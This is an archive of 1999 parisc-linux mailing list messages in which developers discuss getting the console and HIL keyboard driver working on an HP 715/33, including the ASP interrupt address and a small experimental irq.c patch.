Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA11826
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Nov 1999 13:06:49 -0700
Original-Received: (qmail 12957 invoked by uid 15267); 8 Nov 1999 20:08:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12941 invoked from network); 8 Nov 1999 20:08:11 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 8 Nov 1999 20:08:11 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA8K87918647;
	Mon, 8 Nov 1999 21:08:07 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA8K86626926;
	Mon, 8 Nov 1999 21:08:06 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id VAA857270;
	Mon, 8 Nov 1999 21:08:05 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11kv6S-0002DwC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for tsbogend@alpha.franken.de; Mon, 8 Nov 1999 21:09:24 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19991027234659.A2788@alpha.franken.de>; from Thomas Bogendoerfer on Wed, Oct 27, 1999 at 11:46:59PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:6331

On Wed, Oct 27, 1999 at 11:46:59PM +0200, Thomas Bogendoerfer wrote:
> To get a sash prompt on my 715/33 I need the patch below. Even if this
> patch isn't release quality something like that is needed to get the
> iodc console going.
> 
> Because I still have some problems with the first few printed lines, I
> haven't checked it into cvs. Hope it helps others as well. Ohh and changing
> "console=ttyS0" to "console=tty" in boot_code/ipl_c.c is required, too.

I've just checked in something similar.  You should also disable
CONFIG_VT_CONSOLE, or you'll see all lines printed twice.  I think it
will now work out of the box for the 715/33 if you have the right .config.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iodc console patch
Date: Mon, 8 Nov 1999 22:23:01 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <19991108222301.S25252@mencheca.ch.genedata.com>
References: <19991027234659.A2788@alpha.franken.de> <19991108210924.R25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618610 27650 80.91.229.3 (22 Nov 2014 01:10:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:10 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Nov  8 14:20:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA12229
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Nov 1999 14:20:33 -0700
Original-Received: (qmail 13501 invoked by uid 15267); 8 Nov 1999 21:21:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13494 invoked from network); 8 Nov 1999 21:21:47 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 8 Nov 1999 21:21:47 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA8LLha18894;
	Mon, 8 Nov 1999 22:21:43 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA8LLhn27009;
	Mon, 8 Nov 1999 22:21:43 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id WAA843962;
	Mon, 8 Nov 1999 22:21:42 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11kwFi-0002DwC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for tsbogend@alpha.franken.de; Mon, 8 Nov 1999 22:23:02 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19991108210924.R25252@mencheca.ch.genedata.com>; from Matthew Wilcox on Mon, Nov 08, 1999 at 09:09:24PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6332

On Mon, Nov 08, 1999 at 09:09:24PM +0100, Matthew Wilcox wrote:
> I've just checked in something similar.  You should also disable
> CONFIG_VT_CONSOLE, or you'll see all lines printed twice.  I think it
> will now work out of the box for the 715/33 if you have the right .config.

*ahem*.  Of course, if you do, it will be unable to open an initial
console and panic.  Oops.  Don't do this for the moment :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL status
Date: Wed, 10 Nov 1999 00:47:45 +0100
Lines: 94
Approved: news@gmane.org
Message-ID: <19991110004745.T25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618611 27654 80.91.229.3 (22 Nov 2014 01:10:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Tue Nov  9 16:44:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA16668
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 Nov 1999 16:44:57 -0700
Original-Received: (qmail 14867 invoked by uid 15267); 9 Nov 1999 23:46:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14852 invoked from network); 9 Nov 1999 23:46:22 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 9 Nov 1999 23:46:22 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA9NkJc28161
	for <parisc-linux@thepuffingroup.com>; Wed, 10 Nov 1999 00:46:19 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA9NkJA29128
	for <parisc-linux@thepuffingroup.com>; Wed, 10 Nov 1999 00:46:19 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id AAA795472
	for <parisc-linux@thepuffingroup.com>; Wed, 10 Nov 1999 00:46:18 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11lKzJ-00028LC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Wed, 10 Nov 1999 00:47:45 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:6333


I've taken the hp300 HIL driver written by Phil Blundell and it `works'
on my 715/33.  It's producing the wrong keycodes, it's doing work that an
ASP driver ought to be doing and it's producing a fair bit of extraneous
crap on the screen.  But I'm getting interrupts and keycodes so I'm
happy for tonight :-)

The next obvious step is to have an ASP manager, like LASI.  In fact, so
much like LASI, it probably ought to be in the same driver.  This seems to
be how Mach does it, and there's a rumour this is also how HPUX does it.
My question is: how?  Mach hardcodes the address of ASP to 0xf0800000,
but there's nothing even close in the driver list.  I notice in the
bootlogs which have previously been posted, LASI was at the address of
`Core BA', but you can see that's wildly different on this machine.
Should I invent my own and insert it into the structures we have?

Here's the driver list printed at boot on the 715 (is someone collecting
these somewhere?)

1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77, 0x0, 0x0
2. Scorpio Jr Core BA (11) at 0xf082f000, versions 0xb, 0x0, 0x70, 0x0, 0x0
3. Scorpio Jr Core SCSI (10) at 0xf0825000, versions 0xb, 0x0, 0x71, 0x0, 0x0
4. Scorpio Jr Core LAN (802.3) (10) at 0xf0826000, versions 0xb, 0x0, 0x72, 0x0, 0x0
5. Scorpio Jr Core HIL (10) at 0xf0821000, versions 0xb, 0x0, 0x73, 0x0, 0x0
6. Scorpio Jr Core RS-232 (10) at 0xf0823000, versions 0xb, 0x0, 0x75, 0x0, 0x0
7. Scorpio Jr Core RS-232 (10) at 0xf0822000, versions 0xb, 0x0, 0x75, 0x0, 0x0
8. Scorpio Jr Core Centronics (10) at 0xf0824000, versions 0xb, 0x0, 0x74, 0x0, 0x0
9. Scorpio Jr Audio (10) at 0xf1000000, versions 0xb, 0x0, 0x76, 0x0, 0x0
10. Scorpio Jr (715/33) (0) at 0xfffbe000, versions 0x311, 0x0, 0x4, 0x0, 0x81
11. Scorpio Jr (1) at 0xfffbf000, versions 0x16, 0x0, 0x9, 0x0, 0x0

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar  3 18:25:05 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA01270
	for <pcj@merlin.pcj.primenet.com>; Wed, 3 Mar 1999 18:25:05 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 03 Mar 1999 18:25:05 PST
Received: from smtp02.primenet.com (daemon@smtp02.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id LAA00408
	for <pcj@smtp-local.primenet.com>; Wed, 3 Mar 1999 11:33:14 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id LAA20922
	for <pcj@primenet.com>; Wed, 3 Mar 1999 11:34:15 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd020900; Wed Mar  3 11:34:08 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id NAA23126;
	Wed, 3 Mar 1999 13:01:12 -0500
Resent-Date: Wed, 3 Mar 1999 13:01:12 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Wed, 3 Mar 1999 10:01:02 -0800 (PST)
From: Jason Eckhardt <jason@equator.com>
Message-Id: <199903031801.KAA13454@gatekeeper.equator.com>
To: hppa-linux@thepuffingroup.com
Subject: RE: Betr.: RE: [hppa-linux] Another bootstrap test
Resent-Message-ID: <"LFmWb1.0.Gf5.eZNts"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/141
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 8fd1a0cdae1bbaf8c3ac4a62e2295a23
Lines: 18
Xref: merlin.pcj.primenet.com palinux:112


> I joined the list after the bootstrap was released, can sbdy send me a copy?
>
> thx,
>
> Dorin Mandachi, 

  Actually, the last one failed on some machines, I need sort out what
  happened. Then I'll put up a revised version that you may try (and others).
  From now on I'll be distributing them on the FTP site so people can 
  pick them up more easily.

  Jason Eckhardt.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Tue, 9 Nov 1999 18:57:47 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <199911092357.SAA12804@hiauly1.hia.nrc.ca>
References: <19991110004745.T25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618611 27657 80.91.229.3 (22 Nov 2014 01:10:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov  9 16:56:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA17160
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 Nov 1999 16:56:28 -0700
Original-Received: (qmail 18435 invoked by uid 15267); 9 Nov 1999 23:57:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18428 invoked from network); 9 Nov 1999 23:57:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 9 Nov 1999 23:57:53 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA12804;
	Tue, 9 Nov 1999 18:57:48 -0500 (EST)
In-Reply-To: <19991110004745.T25252@mencheca.ch.genedata.com> from "Matthew Wilcox" at Nov 10, 99 00:47:45 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6334

> I've taken the hp300 HIL driver written by Phil Blundell and it `works'
> on my 715/33.  It's producing the wrong keycodes, it's doing work that an
> ASP driver ought to be doing and it's producing a fair bit of extraneous
> crap on the screen.  But I'm getting interrupts and keycodes so I'm
> happy for tonight :-)

Maybe this is due to the difference between keycodes for HP (e.g., C1429A)
and PS/2 keyboards?

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Wed, 10 Nov 1999 01:14:09 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <19991110011409.A17550@mathe.stud.uni-erlangen.de>
References: <19991110004745.T25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618611 27660 80.91.229.3 (22 Nov 2014 01:10:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@localhost.localdomain  Tue Nov  9 17:10:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA17589
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 Nov 1999 17:10:35 -0700
Original-Received: (qmail 631 invoked by uid 15267); 10 Nov 1999 00:12:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 623 invoked from network); 10 Nov 1999 00:12:00 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 00:12:00 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 10 Nov 1999 01:11:57 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id BAA17639;
	Wed, 10 Nov 1999 01:14:10 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991110004745.T25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6335

> I've taken the hp300 HIL driver written by Phil Blundell and it `works'
> on my 715/33.  It's producing the wrong keycodes, it's doing work that an
> ASP driver ought to be doing and it's producing a fair bit of extraneous
> crap on the screen.  But I'm getting interrupts and keycodes so I'm
> happy for tonight :-)

congrats.  The Lasi / PS/2 driver shouldn't be too difficult to write either
except for one minor problems:

We do not know how the PS/2 keyboard (identical to AT keyboard I would hope)
self-test procedure is.  We do know that we can send a command to the keyboard
to cause it to start a self-test, and we do know that the Intel keyboard con-
troller has a separate bit in the status register indicating that the keyboard
self-test succeeded.

What we can do (and the Intel keyboard controller cannot) is to manually control
and read the PS/2 data and clock lines, so I suspect we'll have to make use of
this to successfully do a keyboard self-test.

If you know of any documentation describing what happens during an AT keyboard
self-test, please tell us.

> My question is: how?  Mach hardcodes the address of ASP to 0xf0800000,
> but there's nothing even close in the driver list.  I notice in the

> 2. Scorpio Jr Core BA (11) at 0xf082f000, versions 0xb, 0x0, 0x70, 0x0, 0x0
> 3. Scorpio Jr Core SCSI (10) at 0xf0825000, versions 0xb, 0x0, 0x71, 0x0, 0x0
> 4. Scorpio Jr Core LAN (802.3) (10) at 0xf0826000, versions 0xb, 0x0, 0x72, 0x0, 0x0
> 5. Scorpio Jr Core HIL (10) at 0xf0821000, versions 0xb, 0x0, 0x73, 0x0, 0x0
> 6. Scorpio Jr Core RS-232 (10) at 0xf0823000, versions 0xb, 0x0, 0x75, 0x0, 0x0
> 7. Scorpio Jr Core RS-232 (10) at 0xf0822000, versions 0xb, 0x0, 0x75, 0x0, 0x0
> 8. Scorpio Jr Core Centronics (10) at 0xf0824000, versions 0xb, 0x0, 0x74, 0x0, 0x0

I am sorry, but when all this devices are within a 1 MB offset of the HPA we're
looking for (0xf0800000 + 1 M = 0xf0900000, I hope), doesn't that look very nice
indeed ?  You are right that the interrupt management (which is at address
0xf0800000) is not specifically printed here, but I think we should be able
to deduce it, shouldn't we ?

	Philipp Rumpf


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Wed, 10 Nov 1999 01:17:25 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <19991110011725.L516@mencheca.ch.genedata.com>
References: <19991110004745.T25252@mencheca.ch.genedata.com> <199911092357.SAA12804@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618612 27665 80.91.229.3 (22 Nov 2014 01:10:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:12 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Nov  9 17:14:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA17778
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 Nov 1999 17:14:40 -0700
Original-Received: (qmail 2286 invoked by uid 15267); 10 Nov 1999 00:16:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2271 invoked from network); 10 Nov 1999 00:16:05 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 00:16:05 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAA0G0T28272;
	Wed, 10 Nov 1999 01:16:00 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAA0Fx929160;
	Wed, 10 Nov 1999 01:15:59 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id BAA904395;
	Wed, 10 Nov 1999 01:15:59 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11lLS2-00028LC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Wed, 10 Nov 1999 01:17:26 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199911092357.SAA12804@hiauly1.hia.nrc.ca>; from John David Anglin on Tue, Nov 09, 1999 at 06:57:47PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6336

On Tue, Nov 09, 1999 at 06:57:47PM -0500, John David Anglin wrote:
> > I've taken the hp300 HIL driver written by Phil Blundell and it `works'
> > on my 715/33.  It's producing the wrong keycodes, it's doing work that an
> > ASP driver ought to be doing and it's producing a fair bit of extraneous
> > crap on the screen.  But I'm getting interrupts and keycodes so I'm
> > happy for tonight :-)
> 
> Maybe this is due to the difference between keycodes for HP (e.g., C1429A)
> and PS/2 keyboards?

Sorry, I was rather unclear there.  The HIL driver has its own built-in
keymaps.  What I'm seeing (for example, when I press the `g' key):

)
)
g
)
)

or sometimes

)
)
)
)
g

or some other permutation.  I would prefer to not worry about this for
the moment; there's lots of other things to tidy up and it'll probably
sort itself out once something else is done properly.

I've now committed most of my changes.  I'm _not_ committing this one
as it'll definitely screw up every other type of machine:

ndex: irq.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/irq.c,v
retrieving revision 1.36
diff -u -r1.36 irq.c
--- irq.c       1999/10/31 06:26:35     1.36
+++ irq.c       1999/11/10 00:05:28
@@ -225,12 +225,17 @@
                if(!(bit&mask))
                        continue;
 
+#if 1
+               if (irq == 3) {
+                       gsc_readl(0xf0800000);
+               }
+#else
                if(irq) {
-#if 0
                        printk("Interrupt %2d(%2d+%2d)\n", irq+region->data.irqbase, irq, region->data.irqbase);
+                       printk("ASP mask = %x", gsc_readl(0xf0800000));
 
-#endif
                }
+#endif
                mask_irq(irq);
                do_irq(&region->action[irq], region->data.irqbase + irq, regs);
                unmask_irq(irq);

(please excuse the copy & paste)

If you have a 715/33, you may wish to apply the patch and watch in
amazement as your keyboard produces characters.  Hopefully we'll thrash
out how to get it working properly soon.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Wed, 10 Nov 1999 01:52:45 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <19991110015245.U25252@mencheca.ch.genedata.com>
References: <19991110004745.T25252@mencheca.ch.genedata.com> <19991110011409.A17550@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618612 27667 80.91.229.3 (22 Nov 2014 01:10:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:12 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Nov  9 17:50:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA18506
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 Nov 1999 17:50:02 -0700
Original-Received: (qmail 14146 invoked by uid 15267); 10 Nov 1999 00:51:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14136 invoked from network); 10 Nov 1999 00:51:22 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 00:51:22 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAA0pJi28397;
	Wed, 10 Nov 1999 01:51:19 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAA0pJ429207;
	Wed, 10 Nov 1999 01:51:19 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id BAA900958;
	Wed, 10 Nov 1999 01:51:18 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11lM0E-00028LC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Wed, 10 Nov 1999 01:52:46 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19991110011409.A17550@mathe.stud.uni-erlangen.de>; from Philipp Rumpf on Wed, Nov 10, 1999 at 01:14:09AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6337

On Wed, Nov 10, 1999 at 01:14:09AM +0100, Philipp Rumpf wrote:
> > My question is: how?  Mach hardcodes the address of ASP to 0xf0800000,
> > but there's nothing even close in the driver list.  I notice in the
> 
> > 2. Scorpio Jr Core BA (11) at 0xf082f000, versions 0xb, 0x0, 0x70, 0x0, 0x0
> > 3. Scorpio Jr Core SCSI (10) at 0xf0825000, versions 0xb, 0x0, 0x71, 0x0, 0x0
> > 4. Scorpio Jr Core LAN (802.3) (10) at 0xf0826000, versions 0xb, 0x0, 0x72, 0x0, 0x0
> > 5. Scorpio Jr Core HIL (10) at 0xf0821000, versions 0xb, 0x0, 0x73, 0x0, 0x0
> > 6. Scorpio Jr Core RS-232 (10) at 0xf0823000, versions 0xb, 0x0, 0x75, 0x0, 0x0
> > 7. Scorpio Jr Core RS-232 (10) at 0xf0822000, versions 0xb, 0x0, 0x75, 0x0, 0x0
> > 8. Scorpio Jr Core Centronics (10) at 0xf0824000, versions 0xb, 0x0, 0x74, 0x0, 0x0
> 
> I am sorry, but when all this devices are within a 1 MB offset of the HPA we're
> looking for (0xf0800000 + 1 M = 0xf0900000, I hope), doesn't that look very nice
> indeed ?  You are right that the interrupt management (which is at address
> 0xf0800000) is not specifically printed here, but I think we should be able
> to deduce it, shouldn't we ?

Ummmm.. how exactly were you intending on going about this?  In lasi.c,
in lasi_init_chip(), round the address down to the nearest megabyte?
(possibly with a check on the type of `lasi' we found?)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
